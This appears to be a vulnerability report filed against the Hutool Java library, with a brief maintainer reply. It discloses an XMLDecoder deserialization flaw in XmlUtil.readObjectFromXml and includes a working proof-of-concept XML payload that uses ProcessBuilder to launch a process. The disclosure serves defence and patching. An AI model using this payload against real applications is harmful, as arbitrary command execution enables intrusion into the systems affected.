XmlUtil Deserialization vulnerability

[S2eTo]

Desc

Hutool provides XML utility classes that may be vulnerable to remote code execution when using XmlUtil.readObjectFromXml to interpret untrusted XML strings

Detailed

The program will call XMLDecoder.readObject to parse the XML string, causing a deserialization vulnerability

cn.hutool.core.util.XmlUtil#readObjectFromXml

Attack

XmlUtil.readObjectFromXml("<java>\n" +
        "    <object class=\"java.lang.ProcessBuilder\">\n" +
        "        <array class=\"java.lang.String\" length=\"1\">\n" +
        "            <void index=\"0\">\n" +
        "                <string>calc</string>\n" +
        "            </void>\n" +
        "        </array>\n" +
        "        <void method=\"start\"></void>\n" +
        "    </object>\n" +
        "</java>\n");

[looly]

见：https://gitee.com/dromara/hutool/issues/I6AEX2